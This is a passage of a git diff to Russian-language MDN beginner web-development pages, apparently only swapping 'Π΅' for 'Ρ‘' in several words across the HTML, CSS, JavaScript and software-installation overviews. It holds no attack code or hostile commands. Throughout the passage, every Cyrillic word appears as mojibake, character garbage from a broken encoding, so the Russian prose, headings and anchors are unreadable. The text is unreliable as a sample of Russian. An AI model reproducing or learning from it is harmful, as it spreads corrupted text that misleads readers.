<h3 id="Π Π°Π±ΠΎΡ‚Π°_с_Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ"><a href="/ru/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Π Π°Π±ΠΎΡ‚Π° с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ</a></h3>
-<p>Π’Π΅Π±-сайт состоит ΠΈΠ· мноТСства Ρ„Π°ΠΉΠ»ΠΎΠ²: тСкстового содСрТания, ΠΊΠΎΠ΄Π°, Ρ‚Π°Π±Π»ΠΈΡ† стилСй, ΠΌΠ΅Π΄ΠΈΠ°-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Когда Π²Ρ‹ создаСтС Π²Π΅Π±-сайт, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ эти Ρ„Π°ΠΉΠ»Ρ‹ Π² Ρ€Π°Π·ΡƒΠΌΠ½ΡƒΡŽ структуру ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ. <a href="/ru/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Π Π°Π±ΠΎΡ‚Π° с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ</a> ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ€Π°Π·ΡƒΠΌΠ½ΡƒΡŽ Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ структуру для вашСго Π²Π΅Π±-сайта ΠΈ ΠΏΡ€ΠΎ ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹Β Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ.</p>
+<p>Π’Π΅Π±-сайт состоит ΠΈΠ· мноТСства Ρ„Π°ΠΉΠ»ΠΎΠ²: тСкстового содСрТания, ΠΊΠΎΠ΄Π°, Ρ‚Π°Π±Π»ΠΈΡ† стилСй, ΠΌΠ΅Π΄ΠΈΠ°-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Когда Π²Ρ‹ создаётС Π²Π΅Π±-сайт, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ эти Ρ„Π°ΠΉΠ»Ρ‹ Π² Ρ€Π°Π·ΡƒΠΌΠ½ΡƒΡŽ структуру ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ. <a href="/ru/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Π Π°Π±ΠΎΡ‚Π° с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ</a> ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ€Π°Π·ΡƒΠΌΠ½ΡƒΡŽ Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ структуру для вашСго Π²Π΅Π±-сайта ΠΈ ΠΏΡ€ΠΎ ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹Β Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ.</p>
<h3 id="ΠžΡΠ½ΠΎΠ²Ρ‹_HTML"><a href="/ru/docs/Learn/Getting_started_with_the_web/HTML_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ HTML</a></h3>
-<p>Π―Π·Ρ‹ΠΊ гипСртСкстовой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ (Hypertext Markup Language, HTML) - это ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для структурирования Π²Π΅Π±-содСрТимого ΠΈ придания Π΅ΠΌΡƒ смысла ΠΈ Ρ†Π΅Π»ΠΈ. НапримСр, являСтся Π»ΠΈ ΠΌΠΎΠ΅ содСрТимоС Π½Π°Π±ΠΎΡ€ΠΎΠΌ Π°Π±Π·Π°Ρ†Π΅Π², Π»ΠΈΠ±ΠΎ списком ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ²? НуТно Π»ΠΈ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ изобраТСния Π½Π° мою страницу? Π•ΡΡ‚ΡŒ Π»ΠΈ Ρƒ мСня Ρ‚Π°Π±Π»ΠΈΡ†Π° Π΄Π°Π½Π½Ρ‹Ρ…? НС пСрСгруТая вас, ΡΡ‚Π°Ρ‚ΡŒΡ <a href="/ru/docs/Learn/Getting_started_with_the_web/HTML_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ HTML</a> прСдоставляСт достаточно ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ для вашСго знакомства с HTML.</p>
+<p>Π―Π·Ρ‹ΠΊ гипСртСкстовой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ (Hypertext Markup Language, HTML) - это ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для структурирования Π²Π΅Π±-содСрТимого ΠΈ придания Π΅ΠΌΡƒ смысла ΠΈ Ρ†Π΅Π»ΠΈ. НапримСр, являСтся Π»ΠΈ ΠΌΠΎΡ‘ содСрТимоС Π½Π°Π±ΠΎΡ€ΠΎΠΌ Π°Π±Π·Π°Ρ†Π΅Π², Π»ΠΈΠ±ΠΎ списком ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ²? НуТно Π»ΠΈ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ изобраТСния Π½Π° мою страницу? Π•ΡΡ‚ΡŒ Π»ΠΈ Ρƒ мСня Ρ‚Π°Π±Π»ΠΈΡ†Π° Π΄Π°Π½Π½Ρ‹Ρ…? НС пСрСгруТая вас, ΡΡ‚Π°Ρ‚ΡŒΡ <a href="/ru/docs/Learn/Getting_started_with_the_web/HTML_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ HTML</a> прСдоставляСт достаточно ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ для вашСго знакомства с HTML.</p>
<h3 id="ΠžΡΠ½ΠΎΠ²Ρ‹_CSS"><a href="/ru/docs/Learn/Getting_started_with_the_web/CSS_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ CSS</a></h3>
-<p>ΠšΠ°ΡΠΊΠ°Π΄Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй (Cascading Stylesheets, CSS) - это ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для стилизации своСго Π²Π΅Π±-сайта. НапримСр, Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ тСкст Π±Ρ‹Π» Ρ‡Π΅Ρ€Π½Ρ‹ΠΌ ΠΈΠ»ΠΈ красным? Π“Π΄Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ нарисовано содСрТимоС Π½Π° экранС? КакиС Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ изобраТСния ΠΈ Ρ†Π²Π΅Ρ‚Π° Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΡ€Π°ΡΠΈΡ‚ΡŒ ваш Π²Π΅Π±-сайт? <a href="/ru/docs/Learn/Getting_started_with_the_web/CSS_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ CSS</a> ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Ρ‚ вас Ρ‡Π΅Ρ€Π΅Π· Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ.</p>
+<p>ΠšΠ°ΡΠΊΠ°Π΄Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй (Cascading Stylesheets, CSS) - это ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для стилизации своСго Π²Π΅Π±-сайта. НапримСр, Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ тСкст Π±Ρ‹Π» Ρ‡Π΅Ρ€Π½Ρ‹ΠΌ ΠΈΠ»ΠΈ красным? Π“Π΄Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ нарисовано содСрТимоС Π½Π° экранС? КакиС Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ изобраТСния ΠΈ Ρ†Π²Π΅Ρ‚Π° Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΡ€Π°ΡΠΈΡ‚ΡŒ ваш Π²Π΅Π±-сайт? <a href="/ru/docs/Learn/Getting_started_with_the_web/CSS_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ CSS</a> ΠΏΡ€ΠΎΠ²Π΅Π΄Ρ‘Ρ‚ вас Ρ‡Π΅Ρ€Π΅Π· Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ.</p>
<h3 id="ΠžΡΠ½ΠΎΠ²Ρ‹_JavaScript"><a href="/ru/docs/Learn/Getting_started_with_the_web/JavaScript_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ JavaScript</a></h3>
-<p>JavaScript - это язык программирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для добавлСния ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для вашСго Π²Π΅Π±-сайта, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ³Ρ€, событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ происходят ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΈΠ»ΠΈ Π²Π²ΠΎΠ΄Π° Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ„ΠΎΡ€ΠΌΡ‹, динамичСских эффСктов стилизации, Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ. <a href="/ru/docs/Learn/Getting_started_with_the_web/JavaScript_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ JavaScript</a> Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этого Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ языка, ΠΈ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Ρ‚ΡŒ.</p>
+<p>JavaScript - это язык программирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для добавлСния ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для вашСго Π²Π΅Π±-сайта, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ³Ρ€, событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ происходят ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΈΠ»ΠΈ Π²Π²ΠΎΠ΄Π° Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ„ΠΎΡ€ΠΌΡ‹, динамичСских эффСктов стилизации, Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ. <a href="/ru/docs/Learn/Getting_started_with_the_web/JavaScript_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ JavaScript</a> Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этого Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ языка, ΠΈ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Ρ‚ΡŒ.</p>
<h3 id="ΠŸΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΡ_вашСго_Π²Π΅Π±-сайта"><a href="/ru/docs/Learn/Getting_started_with_the_web/Publishing_your_website">ΠŸΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΡ вашСго Π²Π΅Π±-сайта</a></h3>
@@ -59,7 +59,7 @@ translation_of: Learn/Getting_started_with_the_web
<h3 id="Как_Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚_Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚"><a href="/ru/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚</a></h3>
-<p>Когда Π²Ρ‹ Π·Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π½Π° свой Π»ΡŽΠ±ΠΈΠΌΡ‹ΠΉ Π²Π΅Π±-сайт, Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ происходит ΠΌΠ½ΠΎΠ³ΠΎ слоТных Π²Π΅Ρ‰Π΅ΠΉ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π΅ Π·Π½Π°Ρ‚ΡŒ. Π‘Ρ‚Π°Ρ‚ΡŒΡ <a href="/ru/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚</a> описываСт, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ просматриваСтС Π²Π΅Π±-страницы Π½Π° своСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</p>
+<p>Когда Π²Ρ‹ Π·Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π½Π° свой Π»ΡŽΠ±ΠΈΠΌΡ‹ΠΉ Π²Π΅Π±-сайт, Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ происходит ΠΌΠ½ΠΎΠ³ΠΎ слоТных Π²Π΅Ρ‰Π΅ΠΉ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π΅ Π·Π½Π°Ρ‚ΡŒ. Π‘Ρ‚Π°Ρ‚ΡŒΡ <a href="/ru/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚</a> описываСт, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ просматриваСтС Π²Π΅Π±-страницы Π½Π° своём ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html
index a8728f3cf7..33b1095fa4 100644
--- a/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html
+++ b/files/ru/learn/getting_started_with_the_web/installing_basic_software/index.html
@@ -26,7 +26,7 @@ original_slug: Learn/Getting_started_with_the_web/Установка_Π±Π°Π·ΠΎΠ²Π
<h2 id="КакиС_инструмСнты_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚_профСссионалы">КакиС инструмСнты ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ профСссионалы?</h2>
<ul>
- <li><strong>ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€</strong>. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ, это Π·Π²ΡƒΡ‡ΠΈΡ‚ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… людСй, Π½ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· вас Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ эту ΡΡ‚Π°Ρ‚ΡŒΡŽ с Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π° ΠΈΠ»ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°. Для ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎΠΉ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π»ΡƒΡ‡ΡˆΠ΅ приобрСсти Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ (Windows, Mac ΠΈΠ»ΠΈ Linux).</li>
+ <li><strong>ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€</strong>. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ, это Π·Π²ΡƒΡ‡ΠΈΡ‚ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… людСй, Π½ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· вас Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ эту ΡΡ‚Π°Ρ‚ΡŒΡŽ с Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π° ΠΈΠ»ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°. Для ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎΠΉ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π»ΡƒΡ‡ΡˆΠ΅ приобрСсти Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ (Windows, Mac ΠΈΠ»ΠΈ Linux).</li>
<li><strong>ВСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="https://code.visualstudio.com/">Visual Studio Code</a>,Β <a href="https://notepad-plus-plus.org/">Notepad++</a>,Β <a href="https://www.sublimetext.com/">Sublime Text</a>,Β <a href="https://atom.io/">Atom</a>, <a href="https://www.gnu.org/software/emacs/">GNU Emacs</a>, ΠΈΠ»ΠΈ <a href="https://www.vim.org/">VIM</a>) ΠΈΠ»ΠΈ Π³ΠΈΠ±Ρ€ΠΈΠ΄Π½Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="https://www.adobe.com/products/dreamweaver.html">Dreamweaver </a>or <a href="https://www.jetbrains.com/webstorm/">WebStorm</a>). ΠžΡ„ΠΈΡΠ½Ρ‹Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ Π½Π΅ подходят для этого, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ зависят ΠΎΡ‚ скрытых элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅ΡˆΠ°ΡŽΡ‚ Π΄Π²ΠΈΠΆΠΊΠ°ΠΌ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, <span class="tlid-translation translation" lang="ru"><span title="">ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</span></span>.</li>
<li><strong>Π’Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹</strong>, для тСстирования ΠΊΠΎΠ΄Π°. Π’ настоящСС врСмя Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ это <a href="https://www.mozilla.org/ru/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>, ΠΈ <a href="http://windows.microsoft.com/ru/internet-explorer/download-ie">Internet Explorer</a>. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ваш сайт Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах ΠΈ Π½Π° Π»ΡŽΠ±Ρ‹Ρ… старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ваша цСлСвая аудитория ΠΌΠΎΠΆΠ΅Ρ‚ всС Π΅Ρ‰Ρ‘ ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, IE 6-8). <a href="https://lynx.browser.org/">Lynx</a>, тСкстовый Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ для Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π°, ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ ваш сайт воспринимаСтся слабовидящими ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ.</li>
<li><strong>ГрафичСский Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€</strong>, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a href="http://www.gimp.org/">The Gimp</a>, <a href="http://www.getpaint.net/">Paint.NET</a>, ΠΈΠ»ΠΈ <a href="http://www.adobe.com/uk/products/photoshop.html">Photoshop</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ изобраТСния для Π²Π°ΡˆΠΈΡ… Π²Π΅Π±-страниц.</li>
diff --git a/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html b/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html
index 5cdf99a8da..f5c2597f08 100644
--- a/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html
+++ b/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html
@@ -40,7 +40,7 @@ translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
